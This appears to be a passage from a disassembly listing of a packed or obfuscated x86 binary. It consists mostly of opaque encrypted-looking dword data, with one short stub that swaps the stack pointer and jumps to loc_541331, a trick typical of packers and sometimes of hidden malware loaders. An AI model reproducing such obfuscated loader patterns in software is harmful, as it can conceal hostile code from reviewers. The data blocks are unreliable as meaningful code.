		dd 0DBD8A9A8h, 0A2827973h, 0DDE10E79h, 0D3A5B1EAh, 2FF49DD3h
		dd 14787h, 85DC0000h, 0CE50ECFFh, 95C5A2D3h, 762432D3h
		dd 32EEAA04h, 0BDFA7624h, 0B423A0CFh, 847870FFh, 1A93517h
		dd 6D9C2672h, 33E47AD0h, 0A134B5E0h, 0EAF4B40Ah, 0A7C07624h
		dd 7E15600Fh, 24EA6820h, 990B7476h, 0E6F1C1Dh, 0BD48E8A8h
		dd 0E29C0E58h, 0CA76E28Ch, 78F986F7h, 1FB1200Bh, 87399194h
		dd 0E47B15D8h, 3C4D48EAh, 0E081FE7Fh, 2124CE4Ah, 0A9AC5743h
		dd 0F98528CBh, 0C84954EBh
		dd 5D4BE9BBh, 0C2A3D0D1h, 333D7B53h, 0EC8B7624h, 36881E6Fh
		dd 207A349h, 8A892A66h,	1E18AFFDh, 8CED9A89h, 0E19E911Ch
		dd 59720380h, 0FD163EEDh, 27DDE110h, 5Bh, 0F8F9857Ch, 7B66F98Bh
		dd 0B46B270Ah, 0A3C1C06Ch, 39764BF7h, 0B9F6CB6Bh, 146A0194h
		dd 76243254h, 326F2985h, 327D7624h, 0DF913946h,	10CF4460h
		dd 3B15DDE1h, 7C000000h, 18C5DC07h, 57FF37EDh, 0F8F9854Ch
		dd 7D7CF98Bh, 1CC38F0Ch, 0BE2928D4h, 33115727h,	0D0DF7624h
		dd 85C56E7Ah, 3D8DFAFFh, 76243278h, 80A41BD7h, 0DDE10E9Bh
		dd 141h, 0E285DA00h, 57DC70E7h,	0EC422350h, 3336BDCFh
		dd 0A817C342h, 80E0FF80h, 0DA4D0F28h, 809A943h,	0C6943A7Bh
		dd 7C6C4693h, 5123505Fh, 0A940D7D2h, 6C4693D5h,	60B2217Ch
		dd 0BC74940Bh, 435FF774h, 0D8A9AC57h, 205836CDh, 0AC7C6D0Eh
		dd 296D6BC3h, 5F7C6D0Eh, 0D2AEDFD2h, 0A0215E4Dh, 0DBB8712Eh
		dd 0E380A817h, 6774AF7h, 0D36DF879h, 0EEFA504Dh, 453231B2h
		dd 1F129E32h, 5D58DBB7h, 0D0D75C2Ch, 5455D1A3h,	7734A627h
		dd 0F38D28BEh, 60017E73h, 12B90CAh, 0CBCE7462h,	1C7CFDBAh
		dd 0A9D5877Ch, 1275DDBh, 80C60000h, 8D2A670Bh, 15D8879h
		dd 76244247h, 0FA6DEA95h, 2441E4A4h, 1FB7F076h,	3FD6744Fh
		dd 6C50A66Fh, 475327Ch,	0A8C8CF74h, 37077FCh, 60F7F271h
		dd 892120CCh, 1F129EEAh, 6796126Eh, 3D44C330h, 710E8FE0h
		dd 3B8E8323h, 9B03D887h, 0DB67A21h, 59C26A36h, 0CADBA9B6h
		dd 0E71D5B33h, 0CCAB7C6Ch, 3DE666h, 0B93D0000h,	704ED97Bh
		dd 76243388h, 0A7E1BDD4h, 35762432h, 0D33CA5BEh, 94152BD3h
		dd 747140E3h, 119EE24Eh, 0E896D260h, 0D7EB7624h, 2C0FC68h
		dd 0E8CD3B93h, 9C1B7624h, 8342FCh, 0B9C10000h, 7549DC7Eh
		dd 7C6C4EBCh, 871E6F08h, 4DDA9EF0h, 99E67C6Ch, 0C7C26131h
		dd 594AE9A5h, 6C4E4305h, 3CE2917Ch, 0CDE27875h,	71E465E2h
		dd 0FCC484DAh, 73F07C6Ch, 0A660774h, 18B6C56Dh,	7C6CFD5Bh
		dd 0CF15CA84h, 6B432124h, 0B1C9950h, 6CFCF5B3h,	27A4C37Ch
		dd 9E5F2FA6h, 2A82BC53h, 0C76C3C4Dh, 92C4DDD6h,	733571F0h
		dd 2B946523h, 0B7347376h, 2C935FC6h, 0CA5DFF38h, 7AEB39F4h
		dd 86E28D7Ch, 41EC80FDh, 33420658h, 0E18E7624h,	4972CA60h
		dd 0E67D1483h, 2432D088h, 3B931C76h, 7389609Dh,	56EA817Ch
		dd 0C484D2B1h, 107C7388h, 0F4B33F97h, 0BF4EF587h, 0E0B5317Fh
		dd 0C8BF144Bh, 0B93F27F5h, 0C8D9BB38h, 8C1B5D31h, 0CEA97C73h
		dd 710043B5h, 0D971D96Fh, 6ACBA39h, 3FC17203h, 8EAD75E3h
		dd 9D22BE3Fh, 33B0F18Eh, 4062F442h, 530FB734h, 3AF41ECh
		dd 4BE8A80Eh, 0DB752C4Ch, 1AF65C59h, 9FED9A99h,	6D6C0917h
		dd 7A0D9FECh, 0E2821E6Fh, 0F27376FCh, 3FECDE85h, 71089FE6h
		dd 0B23F5B1Dh, 920E69B2h, 16E1F12h, 0A04837A9h,	28640403h
		dd 0A8FF8C8Bh, 0C0966914h, 3B2h, 0DA411100h, 94E5FC85h
		dd 0B787F04h, 8CFDFC79h, 0E7F6AFCh, 82F3F672h, 6774AF6h
		dd 86F7CA6Ah, 397655EAh, 0BFCCC96Bh, 6B0A68B9h,	0C890000h
		dd 4EC8324h, 68243489h,	0F14h, 55240C89h, 4F5692BDh, 4815506h
		dd 900DD624h, 0EE815E21h, 21900DD6h, 2C61685Dh,	24890000h
		dd 24048124h, 4, 4EC8159h, 89000000h, 418F2434h, 240C8B08h
		dd 5E08950h, 4,	8704C083h, 8B5C2404h, 89502434h, 405E0h
		dd 4050000h, 87000000h,	0E95C2404h, 0FFF922A9h,	902C4DD4h
		dd 0B814C7C7h, 64F5B58h, 0E0FFC503h, 4BFC4DA6h,	769ECBA0h
		dd 5F33AFB6h, 2D4A970Ch, 1D26419Ch, 4871179Ah, 54093CFBh
		dd 35493F75h, 36276018h, 5B11A928h, 164ECA7Bh, 784BF73Dh
		dd 60E362B2h, 0F6F204EBh, 3E941E2h, 9F000005h, 2D791B16h
		dd 0AAE68287h, 3E6A3615h, 0CDD9BBB6h, 23402021h, 0CBCE6A52h
		dd 7E6BFDA9h, 0E4FB8612h, 6C6B0884h, 6E40570Ch,	7C738F2Ah
		dd 857710B6h, 0D06CFBFEh, 0F0FF5752h, 920504A0h, 0C7D68FEh
		dd 7C75FD6Fh, 55DECAD6h, 0D053215Eh, 2ED4A4D5h,	8320BC2Bh
		dd 0AA812E84h, 42E10BF0h, 0CC692547h, 2E5F52DEh, 0F4A0C041h
		dd 6B397649h, 7F33CD5h,	0CEDFFE01h, 25953041h, 2337B266h
		dd 90078481h, 8C70681Bh, 0C1696E57h, 0D45CF0A1h, 0BACFACDDh
		dd 5971DD43h, 57C36B40h, 0CDD8A9ACh, 0CCA2B133h, 7624898Ch
		dd 78DE5F58h, 248A1B5Ah, 0BCA74F76h, 2489A6E2h,	0F4753276h
		dd 4B4EF587h, 2B5859D9h, 5C954A00h, 60443BB7h, 0DDE159BBh
		dd 7561h, 0E980BA00h, 0DBA8AD57h, 32CC8CDAh, 6B187624h
		dd 2D8F7569h, 983EBF24h, 5F887BF8h, 0B57A954Ch,	2EBCCD4Ah
		dd 76251468h, 65121590h, 0FE7B6D17h, 6CED8AFBh,	7635871Fh
		dd 39E658B1h, 0E1EC140Fh, 1CEDDh, 85550000h, 0D16BFAFFh
		dd 42235051h, 37BDCFECh, 0F4858421h, 2B7936B7h,	0F2F9B68Bh
		dd 1B994338h, 2777600Dh, 76243261h, 283006Fh, 8A892A66h
		dd 0F98545EEh, 7BF98BF8h, 0DC79017Eh, 0D7A4A340h, 0B8BF3AD6h
		dd 3CE35812h, 0CC7FA847h, 76DCC40Ch, 791B1E9Ah,	7B3D9128h
		dd 0A9762506h, 3D7A0B16h, 0B0AD334Fh, 8D25A2C3h, 1263660Dh
		dd 95E2E186h, 0E47B1578h, 0A01F51F9h, 0E1C48F84h, 6555DDh
		dd 0A53C0000h, 25108FC9h, 0FC525D76h, 0F8F985EBh, 7B66F98Bh
		dd 0B46B270Ah, 56C1C06Ch, 32A9EFBFh, 0BC377624h, 941A7FDEh
		dd 7FD75448h, 0C39B3263h, 76248185h, 12FE5453h,	96E29396h
		dd 696213EEh, 0ED260EFDh, 7EDDE15Fh, 77D197E7h,	901F7624h
		dd 32123Ah, 85890000h, 0F98BF8F9h, 8F0C7D7Ch, 28D41CC3h
		dd 85A84B29h, 3D8DFAFFh, 76243278h, 79A41BD7h, 32CC8CE2h
		dd 9F187624h, 0E7CA737h, 1A6DDE1h, 0FD000000h, 96E7E285h
		dd 521668FFh, 9E762433h, 5AD9B911h, 2BA72E5Fh, 7017A974h
		dd 0CA5D3D95h, 0E2DDBDDFh, 0A8D1AD38h, 0D17C6C46h, 4724643Ah
		dd 0F7B07C6Ch, 2754535Fh, 0C9ABAE55h, 225356DDh, 6C46D294h
		dd 677A067Ch, 0FAF97A16h, 37F4A68Dh, 6EDD91FEh,	5E3A39BAh
		dd 0D5A2A142h, 0CE68C9C2h, 0DDB80B8Ch, 1B1EA575h, 9E951E6Ah
		dd 151093E1h, 8A71E164h, 2C93ED75h, 18787F04h, 0A9EE8B70h
		dd 12351DBh, 0B9CA0000h, 7549DC7Eh, 7C6C41B0h, 55EC7B04h
		dd 40EF05Ch, 66342BB4h,	7C6C9F22h, 4A69C1AEh, 0D2BEB53Eh
		dd 49263DC6h, 0D3ABB83Bh, 7C6C9E95h, 0B6C74423h, 0FE219ED0h
		dd 0DBDF9D85h, 0BC4ADB2Eh, 37B2F8B9h, 7D1DB532h, 0F991F3F6h
		dd 0DBA96E02h, 3BD8h, 0EC804300h, 9E54D44h, 0A0FE692Bh
		dd 76243338h, 1CAADBA4h, 7624325Ch, 0B25209A1h,	0C484DA86h
		dd 10762432h, 0BAC67E63h, 0A956AC96h, 0F7E1BD28h, 6576251Dh
		dd 96C07E1Ah, 47000000h, 49DC7EB9h, 6C4EBC75h, 0F86F087Ch
		dd 72D8DF64h, 898C3745h, 3134BFEBh, 4EB1F240h, 60EA7C6Ch
		dd 46DD74BBh, 6C4E3068h, 0A3F3BC7Ch, 7C6C4DE5h,	500A7F3h
		dd 20B63774h, 94F4F370h, 0CEC363FDh, 825AF0B1h,	0ED8413B9h
		dd 6C4DD791h, 0EAAE007Ch, 0F67C6C4Dh, 5AFFB89h,	6A2B8300h
		dd 0BBA96114h, 9C197582h, 0F7891C9Dh, 0DEDD7550h, 552221C2h
		dd 0AD5B00B2h, 15DC892h, 7C7AD654h, 0D970E780h,	6C4DC385h
		dd 0DE9AF47Ch, 0EA7C6C4Dh, 20B0FF8Dh, 922E8483h, 0DC7EB9F1h
		dd 8F407549h, 0DA717C73h, 738EC484h, 3F97107Ch,	0CA61F4B3h
		dd 738EB4F4h, 0CF67007Ch, 603ED5A0h
		dd 7C738F28h, 0DAD6A954h, 1EA575DDh, 9428791Bh,	0D04016E9h
		dd 0AABC4753h, 38793615h, 0FD4D3ABBh, 0C421264Fh, 5E817E2Ch
		dd 0DDAD9725h, 851076D0h, 6536F29h, 9C327DB8h, 0C16377FCh
		dd 49F6B7C4h, 0F1F47F2Bh, 7170F080h, 0ABAE4AE6h, 4675DDDAh
		dd 84AC13DFh, 0C98F8FFh, 63136067h, 3, 85DA41E0h, 494E5FCh
		dd 790B787Fh, 0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h, 6A06774Ah
		dd 0EA86F7CAh, 6B397655h, 0B9BFCCC9h, 81E28952h, 4C2h
		dd 4BB5300h, 29000000h,	14875BDAh, 0D5685C24h, 89000052h
		dd 5468243Ch, 8900004Ch, 7768240Ch, 8900002Dh, 1AB9240Ch
		dd 89064F5Ch, 0EC8159CFh, 4, 81242489h,	42404h,	53590000h
		dd 8153FB89h, 7CD242Ch,	418F71C6h, 8418108h, 71C607CDh
		dd 240C8B5Bh, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_541331
; ---------------------------------------------------------------------------
		dd 0D74365A2h, 13ECE49Ah, 1BDD7C19h, 87B88F3Fh,	3064F60h
		dd 80E0FFC5h, 0E34F8EF3h, 8227795Ah, 12C3180h, 0A412D87Eh
		dd 0AA75E338h, 0FD44F90Fh, 9656930Ah, 0CB04E486h, 923365F0h
		dd 0F337CC28h, 1E3B3C5Ch, 0B0639C2Ch, 14580A63h, 0B300845Dh
		dd 63190446h, 911BA411h, 0E8435113h, 6,	0FE984902h, 0B70F46E0h
		dd 8B665FD9h, 88C781CBh, 6600006Eh, 7FB8F38Bh, 0F00001Bh
		dd 178BF0BFh, 53EA81F8h, 0E84BD7F8h, 5,	0E6710BA9h, 870F6050h
		dd 0
		dd 0D6CB8166h, 81596153h, 6082D0F2h, 860F45h, 81000000h
		dd 0E268FC2h, 11E939h, 34250000h, 0A50AF185h, 1C7EFA84h
		dd 0E666BD3Dh, 89F9CA4Fh, 3EF8317h, 4FF2B70Fh, 61B7DAB9h
		dd 1E8837Fh, 0FFA0850Fh, 8C0FFFFFh, 0Ch, 6840Fh, 8A0F0000h
		dd 0
		dd 62B88D8Dh, 6A064Fh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 958B95C3h, 6483251h, 14058D89h
		dd 0C7FC0648h, 48302585h, 65A406h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 534CECCFh
		dd 0C75EF08Ah, 482AD985h, 6, 0BE800h, 5C350000h, 8970DA4Ah
		dd 0FF3BDA17h, 5B851D5h, 5A49F50Ch, 0B5B5FF5Ah,	6A06482Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 3903C352h, 6650B991h, 0CD8CF81h, 0E7195FFh
		dd 8B570648h, 6A5ADFh, 92D95FFh, 0C08B0648h, 0BD4A0DEBh
		dd 953F815Dh, 0AA327D20h, 0EBA0377Bh, 10h, 3 dup(0)
		dd 6AC08B00h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 96D1C352h, 0BA6D6E97h,	0BA665555h
		dd 0BD836266h, 6481299h, 83097500h, 480D35BDh, 19740006h
		dd 0C08B5350h, 42DB8h, 0B9858900h, 8D064829h, 4AA4649Dh
		dd 5BD3FF06h, 35BD8358h, 6480Dh, 53501774h, 42DB8h, 0B9858900h
		dd 8D064829h, 4AA1539Dh, 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 7E9E6B3h, 42000000h
		dd 0A28AAFA3h, 840F6296h, 0Ch, 7E9h, 2CA78A00h,	7AEBC332h
		dd 850FC08Bh, 0Ch, 6860Fh, 0B58B0000h, 64814E9h, 0A218D8Bh
		dd 0B70F0648h, 2ABE66D7h, 0F98363h, 8F840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 930976C3h, 3C45905Ah, 0F78B75E6h, 2C3D8B64h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 3D97C357h, 8A7CB036h, 840FFF0Bh, 39h, 13259D31h
		dd 3F8B0648h, 1329BD29h, 0C0320648h, 0F3D3BF0Fh, 158E0FAAh
		dd 60000000h, 6118503h,	7E80648h, 0C6000000h, 395096A0h
		dd 6158AA90h, 3820Fh, 0FC530000h, 4149355Eh, 8A0F5350h
		dd 2, 0F18BF08Bh, 0FF985C6h, 6A470648h,	3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 9D0FC355h
		dd 8AC43CC3h, 696C2C29h, 17F1958Bh, 8C0F0648h, 5, 0D41233BEh
		dd 858B6072h, 6482ADDh,	6861CAB3h, 0B36DBEEEh, 310F5250h
		dd 481585Ah, 68C93E24h,	53006A29h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0A9B5FF2Ah, 6A064829h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 56B5C357h, 422C9774h, 0B1B5333Dh,	0E9064807h
		dd 5, 0A344E5F2h, 60858D89h, 0E8064B7Fh, 12h, 7EA853FEh
		dd 0C9F1C2A2h, 0EB59D17Eh, 6CEF46A8h, 0F18B58A2h, 6AD0FF5Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 21FCC357h, 0C0EC192h, 89355654h, 4827E18Dh
		dd 41958B06h, 89064813h, 4808F185h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 25D9D1FEh
		dd 0DB08A46Fh, 85C67E76h, 6480FF9h, 0B5958B53h,	0E8064830h
		dd 4, 88986AFCh, 5050D18Bh, 0FF08B52h, 12E831h,	52F10000h
		dd 0F4121BAAh, 0D2D5CE02h, 0B98D3374h, 0E04B4B64h, 8E8h
		dd 90F2CD00h, 19D0ADEDh, 5A5E5E03h, 24448B58h, 8860F04h
		dd 52000000h, 8D0Fh, 8B5E0000h,	0D78B6600h, 4244489h, 0D18B6653h
		dd 8166585Eh, 0FF17C4F6h, 4829A9B5h, 0D5B58906h, 8D06482Bh
		dd 4B7F6085h, 0FFF08B06h, 52006AD0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 5D717052h
		dd 0BF568E2Dh, 858DF78Bh, 64B390Bh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 9EC35343h, 25F5DFAFh, 3198529h
		dd 0AE90648h, 7C000000h, 92055E29h, 0EE7E3C7Dh,	39858904h
		dd 0F064820h, 489h, 0B7BE6600h,	6A206AECh, 3995FFFFh, 35064820h
		dd 53504149h, 5B585C7h,	10648h,	85C70000h, 6480D9Dh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 92C35242h
		dd 70C3B137h, 0B1022938h, 29BD8920h, 8306482Bh,	48202DBDh
		dd 840F0006h, 36h, 858B4AB6h, 6480FD9h,	1535B52Bh, 0A3640648h
		dd 0
		dd 27919D31h, 858B0648h, 6480A31h, 0BD89D08Bh, 64823EDh
		dd 0B589E08Bh, 64808E1h, 13A9B58Bh, 0BD830648h,	6482BD9h
		dd 19850F00h, 0B2000003h, 85C6F901h, 6480FF9h, 0C368F556h
		dd 818A0D46h, 0EA1C2404h, 6A1FB7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 763251C3h, 4A27EF47h
		dd 0FFE7D9B3h, 4829A9B5h, 8DF08B06h, 4B7F6085h,	61F86006h
		dd 0AE9D0FFh, 7000000h,	0C35367EFh, 0DEDAA05Ah,	25B65086h
		dd 8B240489h, 482A59B5h, 0C18D8D06h, 8B064811h,	4817F995h
		dd 918D8906h, 9106480Bh, 0DE950h, 0F890000h, 3273BC9Fh
		dd 11929170h, 918EA212h, 3DBBF281h, 46A2FBAh, 0E8F7BF0Fh
		dd 4, 1000h, 5350F18Bh,	5AD38B66h, 424448Bh, 53525060h
		dd 0E9310F59h, 8, 6A9457BBh, 6548AD95h,	0E4BE585Ah, 615248C9h
		dd 0BA66008Bh, 4489B456h, 8E90424h, 0CE000000h,	0A72D4CC4h
		dd 58AE84C9h, 0B5FFD18Ah, 6481345h, 12AD958Bh, 0D0FF0648h
		dd 1345BD8Bh, 0B5890648h, 6480519h, 6A3C7F03h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 8577C353h, 0F8C781h,	47C70000h, 2024h, 25958B60h, 83064810h
		dd 4F62CCBDh, 840F0006h, 10Bh, 809B52Bh, 14E90648h, 71000000h
		dd 0B5673192h, 93A797D5h, 23BE7238h, 5DAA8455h,	83E81B58h
		dd 85BA28C7h, 0C742E0EFh, 696A2E07h, 447C764h, 617461h
		dd 6870Fh, 880F0000h, 0
		dd 62D4858Bh, 4789064Fh, 1D85290Ch, 8B064806h, 4F62D885h
		dd 858B6006h, 6482299h,	5E56F560h, 47896161h, 28C78308h
		dd 0C7F0BF0Fh, 6F632E07h, 14E86Eh, 51C10000h, 40D0FE08h
		dd 723FA81Ah, 5965A00Bh, 5D15B5A7h, 5AF98EA9h, 660447C7h
		dd 6A006769h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8B22C351h, 4F62D085h, 89F18B06h
		dd 0EE90C47h, 12000000h, 268DCECAh, 0FBAD062Fh,	617B6CF6h
		dd 0CC858BB8h, 8B064F62h, 48101D95h, 8478906h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 26C35545h, 0D47E824Eh
		dd 0AE9h, 4329F00h, 1BE13AEFh, 58FB2023h, 2991B533h, 8D8D0648h
		dd 64830A9h, 45958Bh, 0E9500648h, 10h, 88D11FB1h, 1E6BFD31h
		dd 0A9EF89B8h, 81C29228h, 29240C89h, 4829B18Dh,	0C1B5FF06h
		dd 6A064811h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 5F4DC353h, 95A5A5F5h, 812A595Eh
		dd 6850F60h, 9000000h, 4810E9B5h, 5E686106h, 5326805Bh
		dd 815A31B2h, 4B5E2434h, 11E92680h, 33000000h, 0EE9953A5h
		dd 9AD1212Dh, 0F5DFAF9Eh, 0EFC57325h, 6DC28166h, 45B5FF81h
		dd 89064813h, 480D319Dh, 6AD0FF06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 1B39C351h
		dd 2158B39Bh, 0E281F78Ah, 2B04C5EEh, 0B8h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 0D7517604h, 0C00B9B68h, 29840Fh, 0B58B0000h,	6481A41h
		dd 2B5DB5FFh, 8A0F0648h, 4, 48AABA66h, 0E7195FFh, 800F0648h
		dd 1, 21958BF5h, 8B064827h, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0AD2567A1h
		dd 958BCB58h, 6482B35h,	1299BD83h, 75000648h, 35BD8309h
		dd 6480Dh, 53501974h, 2DB8C08Bh, 89000004h, 482FF985h
		dd 0CB9D8D06h, 0FF064AA4h, 83585BD3h, 480D35BDh, 17740006h
		dd 2DB85350h, 89000004h, 482FF985h, 6C9D8D06h, 0FF064AA1h
		dd 6A585BD3h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0B02EC356h, 18C28104h,	6A30AB26h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0C03C355h, 950B6EBBh, 6480E85h, 6AC08Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B4707C3h, 4704EBC0h, 0E977D31Bh, 4CCh, 2C4C43E2h, 95F7F270h
		dd 197B66F9h, 8CECE58Dh, 0F7959410h, 33BF87ECh,	0A046523Eh
		dd 2ECBC7A5h, 0D65D492Bh, 8B22B1D3h, 739D7533h,	2AFD437Ch
		dd 4140EC80h, 5EE17330h, 0DD753243h, 1EA0B63Dh,	0B4357203h
		dd 61946821h, 0CEFBCA0h, 0FF7B09A6h, 61029EFAh,	0A5BEF362h
		dd 5359D3DCh, 7667217Dh, 0A757624h, 0FA96258Dh,	7F0D7A79h
		dd 2C65F0F5h, 5A19B93h,	406FC73Ah, 0FBD36A69h, 762490BDh
		dd 3F4C49EBh, 0CD65027Eh, 6A012C93h, 24905414h,	0AF076076h
		dd 274540E3h, 0A9CBCE6Bh, 7170FDh, 82F3EE70h, 38494CF6h
		dd 5ECACD68h, 0DFADDAC9h, 0B13D5A57h, 3B5235CAh, 760702A1h
		dd 702FA109h, 6E0A0DA8h, 0C5B2B132h, 24913075h,	0FCA31F76h
		dd 0E15053C8h, 4989DDh,	85120000h, 3C8AFBFEh, 7624327Ah
		dd 82A219D5h, 0DDE10E99h, 143h,	0FF85D800h, 0D80E9C0Eh
		dd 71FED9EEh, 58DB7500h, 0E74F2C5Dh, 0FF8C892Bh, 881F05ADh
		dd 446F1C9Dh, 61032996h, 0EB880464h, 7B158CECh,	4A4FEBE5h
		dd 804265CDh, 0D84F5AECh, 2432C286h, 0C9610E76h, 0DFACAD49h
		dd 552227CDh, 648C734Dh, 0EFBBD9D8h, 60304144h,	0BE55C0DFh
		dd 33115727h, 0D0DF7624h, 2432C682h, 0E1A7F776h, 0EF762432h
		dd 1FB7F080h, 637E0090h, 0EAFC8612h, 7F3C4D48h,	0E0DA81FEh
		dd 5D09E23Bh, 104DC6EEh, 8697DDE1h, 0C000000h, 0D395E980h
		dd 4762432h, 2432EEAAh,	0CFBDFA76h, 0E28E0AA0h,	0C20378EFh
		dd 0C402F6F9h, 235051D1h, 4E6DC542h, 0C1BEAD32h, 0A14B30EAh
		dd 28640405h, 0ACFC8D8Ch, 537C0D04h, 70C38E7h, 94DDE1C4h
		dd 0D47A7DF8h, 5308h, 0F9859300h, 4CD36DF8h, 0EB432051h
		dd 9C27B9CCh, 0F8B00E99h, 0C4762432h, 0FA8713BBh, 3F484FF4h
		dd 0A5766242h, 0C9A6271Ah, 0E8C65D48h, 7624AFB0h, 0E1DB733Ch
		dd 644AF63Ah, 3E5ADBDEh, 0FAFF8595h, 32783D8Dh,	1BD77624h
		dd 0E9B80A4h, 141DDE1h,	0DA000000h, 96E7E285h, 0D7A79FAh
		dd 0CC13C88Ah, 1CB2B530h, 9CFCEB7Ch, 0CE59033Ch, 6C46C9F0h
		dd 1D6A157Ch, 76E1E48Fh, 46C98FDFh, 9C177C6Ch, 96F94CBBh
		dd 1A9563Ah, 8B8E3561h,	902A6CFAh, 21AD7C6Ch, 250DB67Ah
		dd 88E98683h, 0B63D690Bh, 0DB6C2B3h, 4F217936h,	0ACAB4890h
		dd 53F72CCCh, 0FF2DDBA9h, 76000000h, 49DC7EB9h,	6C41B075h
		dd 0A7B047Ch, 54E8F57Eh, 0BDFBABAEh, 0B7C6C40h,	0E178EF6Ch
		dd 4134744Ah, 0E7807C6Ch, 6C40F1B7h, 4441A7Ch, 0D07C6C41h
		dd 4EDAA5D7h, 7909A1A4h, 0F283862Dh, 68151DA6h,	0E8A0FE69h
		dd 0F47C6C40h, 2F7D0A8Bh, 0A2FE8F82h, 90911101h, 833F6213h
		dd 2D9F07DCh, 0A09AA7Eh, 55CE6Eh, 318FDBA9h, 14000000h
		dd 4ED97BB9h, 24338870h, 149F3176h, 0AB036011h,	0F5F0730Fh
		dd 0F1B70774h, 36762432h, 1321C784h, 2088E671h,	4C762433h
		dd 63B74123h, 2C000000h, 4D44EC80h, 6C2E09E5h, 4E6CA5F9h
		dd 39D7C6Ch, 0ACCC6267h, 49E3B2C3h, 8B07AFAAh, 138FEDE8h
		dd 56E49590h, 7C6C4F0Dh, 1DC78436h, 68049396h, 4161C9C8h
		dd 198C4E69h, 0BBB95D45h, 9FEC8B82h, 1263660Dh,	0D518C773h
		dd 514FBE3Bh, 7A6E6755h, 0E380F17Eh, 2C8F34Bh, 0BAD73B93h
		dd 96117C7Ah, 7EB9690Ah, 0BB749DCh, 0A8387936h,	317E0F0Ah
		dd 40A2FC99h, 0A87C739Eh, 3FC458CFh, 97D1AD38h,	257C739Dh
		dd 0B5C7F45Ah, 3D690B0Eh, 101EA0B6h, 9213908Fh,	94E55E5h
		dd 6F23EE10h, 0DACB68B0h, 0E9B9BC46h, 0EDF732AFh, 6CEA863Dh
		dd 3A99AA0Eh, 405C3CBDh, 210AB7A3h, 0F8310B4Dh,	51DED9EDh
		dd 38D4A3D0h, 39D44FA6h, 754C5E0h, 0C0603086h, 215E4DD2h
		dd 13B2C340h, 0B330F8A7h, 758CCCA2h, 5F58EDF7h,	5DE6B2DEh
		dd 255E2946h, 0C992A566h, 6D6C08D3h, 32846ECh, 0AF000000h
		dd 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh
		dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 68B9BFCCh
		dd 1704h, 68242C89h, 1D0h, 51240489h, 0C181E189h, 4, 8704E983h
		dd 895C240Ch, 0B951240Ch, 29963615h, 5D72F181h,	0C8892FD9h
		dd 83240C8Bh, 0B46804C4h, 89000045h, 4812424h, 424h, 68535900h
		dd 8, 89CB015Bh, 0C8B5B03h, 0E1895124h,	4C181h,	0C1810000h
		dd 4, 5C240C87h, 5724048Bh, 0C781E789h,	4, 4C781h, 3C870000h
		dd 4AE95C24h, 47FFF90Eh, 356C38BDh, 77CDF67Ah, 4F6FA6B8h
		dd 0FFC50306h, 0F3E9B2E0h, 33CCC37Bh, 3DC96B32h, 5AE3414h
		dd 7E66331Bh, 773FCD1Eh, 1C52D24Ch, 9C335C4Dh, 3614D953h
		dd 1A5E7A02h, 57E5820Eh, 778DF209h, 0A7D01F69h,	491E2871h
		dd 6709B86Ch, 9E822h, 0CBD80000h, 0C9D9AD8Ch, 59903F96h
		dd 0CEB96660h, 0D2BF0F79h
		dd 31C18161h, 5700006Dh, 0FE8h,	82F82000h, 1C2A0278h, 23A8BE29h
		dd 0B8C2131Fh, 840Fh, 5A5B0000h, 1B1168h, 0AE800h, 78220000h
		dd 339F2CA2h, 58F394CEh, 585BDCB2h, 12E8h, 7DE5E500h, 93F45E5h
		dd 59C6FDDAh, 82FE842h,	0E8C8A27Ch, 0Eh, 206501A5h, 3A8465ADh
		dd 0A9265FA8h, 5A5B68E1h, 8B0F318Bh, 0Fh, 0AE9h, 817C3D00h
		dd 7D143A28h, 8183A89Eh, 0C35AB3C6h, 81F08A2Ah,	0A0CDBFC6h
		dd 5E828h, 98EA0000h, 0FCFA14E9h, 0E5EE815Ah, 575599F3h
